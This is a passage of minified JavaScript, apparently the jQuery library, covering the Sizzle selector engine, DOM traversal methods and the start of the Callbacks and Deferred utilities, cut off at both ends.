r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var 